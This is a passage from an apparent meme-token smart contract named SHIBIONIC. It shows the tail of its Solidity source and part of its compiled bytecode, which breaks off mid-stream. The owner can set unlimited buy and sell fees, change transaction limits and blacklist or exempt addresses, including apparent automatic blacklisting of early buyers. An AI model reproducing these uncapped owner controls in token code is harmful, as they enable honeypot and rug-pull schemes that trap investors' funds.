amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130c6565b610702565b005b34801561021157600080fd5b5061021a610852565b604051610227919061350f565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613032565b61088f565b60405161026491906134d9565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f4565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f1565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe3565b6108e3565b6040516102f791906134d9565b60405180910390f35b34801561030c57600080fd5b506103156109bc565b60405161032291906136f1565b60405180910390f35b34801561033757600080fd5b506103406109c2565b60405161034d9190613766565b60405180910390f35b34801561036257600080fd5b5061036b6109cb565b60405161037891906134be565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f55565b6109f1565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613107565b610ae1565b005b3480156103df57600080fd5b506103e8610b92565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f55565b610c63565b60405161041e91906136f1565b60405180910390f35b34801561043357600080fd5b5061043c610cb4565b005b34801561044a57600080fd5b5061046560048036038101906104609190613130565b610e07565b005b34801561047357600080fd5b5061047c610ea6565b60405161048991906136f1565b60405180910390f35b34801561049e57600080fd5b506104a7610eac565b6040516104b491906134be565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613107565b610ed5565b005b3480156104f257600080fd5b506104fb610f8e565b60405161050891906136f1565b60405180910390f35b34801561051d57600080fd5b50610526610f94565b604051610533919061350f565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613130565b610fd1565b005b34801561057157600080fd5b5061058c60048036038101906105879190613159565b611070565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613032565b611127565b6040516105c291906134d9565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f55565b611145565b6040516105ff91906134d9565b60405180910390f35b34801561061457600080fd5b5061061d611165565b005b34801561062b57600080fd5b506106466004803603810190610641919061306e565b61123e565b005b34801561065457600080fd5b5061065d61139e565b60405161066a91906136f1565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fa7565b6113a4565b6040516106a791906136f1565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613130565b61142b565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f55565b6114ca565b005b61070a61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613651565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2b565b91505061079a565b5050565b60606040518060400160405280600981526020017f53484942494f4e49430000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168c565b8484611694565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600067016345785d8a0000905090565b60006108f084848461185f565b6109b1846108fc61168c565b6109ac85604051806060016040528060288152602001613f3860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096261168c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122339092919063ffffffff16565b611694565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109f961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613651565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613651565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd361168c565b73ffffffffffffffffffffffffffffffffffffffff161480610c495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3161168c565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5257600080fd5b6000479050610c6081612297565b50565b6000610cad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612392565b9050919050565b610cbc61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e0f61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613651565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610edd61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190613651565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f5348424e43000000000000000000000000000000000000000000000000000000815250905090565b610fd961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d90613651565b60405180910390fd5b8060198190555050565b61107861168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90613651565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113b61113461168c565b848461185f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a661168c565b73ffffffffffffffffffffffffffffffffffffffff16148061121c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120461168c565b73ffffffffffffffffffffffffffffffffffffffff16145b61122557600080fd5b600061123030610c63565b905061123b81612400565b50565b61124661168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ca90613651565b60405180910390fd5b60005b8383905081101561139857816005600086868581811061131f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113349190612f55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139090613a2b565b9150506112d6565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143361168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613651565b60405180910390fd5b8060188190555050565b6114d261168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c6906135b1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb906136d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b906135d1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185291906136f1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c690613691565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690613531565b60405180910390fd5b60008111611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990613671565b60405180910390fd5b61198a610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f857506119c8610eac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3257601660149054906101000a900460ff16611a8757611a19610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d90613551565b60405180910390fd5b5b601754811115611acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac390613591565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b705750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba6906135f1565b60405180910390fd5b6008544311158015611c0e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c685750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cfe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dab5760185481611d6084610c63565b611d6a9190613827565b10611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da1906136b1565b60405180910390fd5b5b6000611db630610c63565b9050600060195482101590506017548210611dd15760175491505b808015611deb5750601660159054906101000a900460ff16155b8015611e455750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5b575060168054906101000a900460ff165b8015611eb15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f075750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57611f1582612400565b60004790506000811115611f2d57611f2c47612297565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fd95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209a5760009050612221565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121455750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222057600b54600d81905550600c54600e819055505b5b61222d848484846126fa565b50505050565b600083831115829061227b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612272919061350f565b60405180910390fd5b506000838561228a9190613908565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e760028461272790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612312573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236360028461272790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238e573d6000803e3d6000fd5b5050565b60006006548211156123d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d090613571565b60405180910390fd5b60006123e3612771565b90506123f8818461272790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248c5781602001602082028036833780820191505090505b50905030816000815181106124ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256c57600080fd5b505afa158015612580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a49190612f7e565b816001815181106125de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611694565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126a995949392919061370c565b600060405180830381600087803b1580156126c357600080fd5b505af11580156126d7573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127085761270761279c565b5b6127138484846127df565b80612721576127206129aa565b5b50505050565b600061276983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129be565b905092915050565b600080600061277e612a21565b91509150612795818361272790919063ffffffff16565b9250505090565b6000600d541480156127b057506000600e54145b156127ba576127dd565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f187612a80565b95509550955095509550955061284f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293081612b90565b61293a8483612c4d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299791906136f1565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fc919061350f565b60405180910390fd5b5060008385612a14919061387d565b9050809150509392505050565b60008060006006549050600067016345785d8a00009050612a5567016345785d8a000060065461272790919063ffffffff16565b821015612a735760065467016345785d8a0000935093505050612a7c565b81819350935050505b9091565b6000806000806000806000806000612a9d8a600d54600e54612c87565b9250925092506000612aad612771565b90506000806000612ac08e878787612d1d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612233565b905092915050565b6000808284612b419190613827565b905083811015612b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7d90613611565b60405180910390fd5b8091505092915050565b6000612b9a612771565b90506000612bb18284612da690919063ffffffff16565b9050612c0581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6282600654612ae890919063ffffffff16565b600681905550612c7d81600754612b3290919063ffffffff16565b6007819055505050565b600080600080612cb36064612ca5888a612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612cdd6064612ccf888b612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612d0682612cf8858c612ae890919063ffffffff16565b612ae890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d368589612da690919063ffffffff16565b90506000612d4d8689612da690919063ffffffff16565b90506000612d648789612da690919063ffffffff16565b90506000612d8d82612d7f8587612ae890919063ffffffff16565b612ae890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612db95760009050612e1b565b60008284612dc791906138ae565b9050828482612dd6919061387d565b14612e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0d90613631565b60405180910390fd5b809150505b92915050565b6000612e34612e2f846137a6565b613781565b90508083825260208201905082856020860282011115612e5357600080fd5b60005b85811015612e835781612e698882612e8d565b845260208401935060208301925050600181019050612e56565b5050509392505050565b600081359050612e9c81613ef2565b92915050565b600081519050612eb181613ef2565b92915050565b60008083601f840112612ec957600080fd5b8235905067ffffffffffffffff811115612ee257600080fd5b602083019150836020820283011115612efa57600080fd5b9250929050565b600082601f830112612f1257600080fd5b8135612f22848260208601612e21565b91505092915050565b600081359050612f3a81613f09565b92915050565b600081359050612f4f81613f20565b92915050565b600060208284031215612f6757600080fd5b6000612f7584828501612e8d565b91505092915050565b600060208284031215612f9057600080fd5b6000612f9e84828501612ea2565b91505092915050565b60008060408385031215612fba57600080fd5b6000612fc885828601612e8d565b9250506020612fd985828601612e8d565b9150509250929050565b600080600060608486031215612ff857600080fd5b600061300686828701612e8d565b935050602061301786828701612e8d565b925050604061302886828701612f40565b9150509250925092565b6000806040838503121561304557600080fd5b600061305385828601612e8d565b925050602061306485828601612f40565b9150509250929050565b60008060006040848603121561308357600080fd5b600084013567ffffffffffffffff81111561309d57600080fd5b6130a986828701612eb7565b935093505060206130bc86828701612f2b565b9150509250925092565b6000602082840312156130d857600080fd5b600082013567ffffffffffffffff8111156130f257600080fd5b6130fe84828501612f01565b91505092915050565b60006020828403121561311957600080fd5b600061312784828501612f2b565b91505092915050565b60006020828403121561314257600080fd5b600061315084828501612f40565b91505092915050565b6000806000806080858703121561316f57600080fd5b600061317d87828801612f40565b945050602061318e87828801612f40565b935050604061319f87828801612f40565b92505060606131b087828801612f40565b91505092959194509250565b60006131c883836131d4565b60208301905092915050565b6131dd8161393c565b82525050565b6131ec8161393c565b82525050565b60006131fd826137e2565b6132078185613805565b9350613212836137d2565b8060005b8381101561324357815161322a88826131bc565b9750613235836137f8565b925050600181019050613216565b5085935050505092915050565b6132598161394e565b82525050565b61326881613991565b82525050565b613277816139b5565b82525050565b6000613288826137ed565b6132928185613816565b93506132a28185602086016139c7565b6132ab81613b01565b840191505092915050565b60006132c3602383613816565b91506132ce82613b12565b604082019050919050565b60006132e6603f83613816565b91506132f182613b61565b604082019050919050565b6000613309602a83613816565b915061331482613bb0565b604082019050919050565b600061332c601c83613816565b915061333782613bff565b602082019050919050565b600061334f602683613816565b915061335a82613c28565b604082019050919050565b6000613372602283613816565b915061337d82613c77565b604082019050919050565b6000613395602383613816565b91506133a082613cc6565b604082019050919050565b60006133b8601b83613816565b91506133c382613d15565b602082019050919050565b60006133db602183613816565b91506133e682613d3e565b604082019050919050565b60006133fe602083613816565b915061340982613d8d565b602082019050919050565b6000613421602983613816565b915061342c82613db6565b604082019050919050565b6000613444602583613816565b915061344f82613e05565b604082019050919050565b6000613467602383613816565b915061347282613e54565b604082019050919050565b600061348a602483613816565b915061349582613ea3565b604082019050919050565b6134a98161397a565b82525050565b6134b881613984565b82525050565b60006020820190506134d360008301846131e3565b92915050565b60006020820190506134ee6000830184613250565b92915050565b6000602082019050613509600083018461325f565b92915050565b60006020820190508181036000830152613529818461327d565b905092915050565b6000602082019050818103600083015261354a816132b6565b9050919050565b6000602082019050818103600083015261356a816132d9565b9050919050565b6000602082019050818103600083015261358a816132fc565b9050919050565b600060208201905081810360008301526135aa8161331f565b9050919050565b600060208201905081810360008301526135ca81613342565b9050919050565b600060208201905081810360008301526135ea81613365565b9050919050565b6000602082019050818103600083015261360a81613388565b9050919050565b6000602082019050818103600083015261362a816133ab565b9050919050565b6000602082019050818103600083015261364a816133ce565b9050919050565b6000602082019050818103600083015261366a816133f1565b9050919050565b6000602082019050818103600083015261368a81613414565b9050919050565b600060208201905081810360008301526136aa81613437565b9050919050565b600060208201905081810360008301526136ca8161345a565b9050919050565b600060208201905081810360008301526136ea8161347d565b9050919050565b600060208201905061370660008301846134a0565b92915050565b600060a08201905061372160008301886134a0565b61372e602083018761326e565b818103604083015261374081866131f2565b905061374f60608301856131e3565b61375c60808301846134a0565b9695505050505050565b600060208201905061377b60008301846134af565b92915050565b600061378b61379c565b905061379782826139fa565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c1576137c0613ad2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138328261397a565b915061383d8361397a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387257613871613a74565b5b828201905092915050565b60006138888261397a565b91506138938361397a565b9250826138a3576138a2613aa3565b5b828204905092915050565b60006138b98261397a565b91506138c48361397a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138fd576138fc613a74565b5b828202905092915050565b60006139138261397a565b915061391e8361397a565b92508282101561393157613930613a74565b5b828203905092915050565b60006139478261395a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061399c826139a3565b9050919050565b60006139ae8261395a565b9050919050565b60006139c08261397a565b9050919050565b60005b838110156139e55780820151818401526020810190506139ca565b838111156139f4576000848401525b50505050565b613a0382613b01565b810181811067ffffffffffffffff82111715613a2257613a21613ad2565b5b80604052505050565b6000613a368261397a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613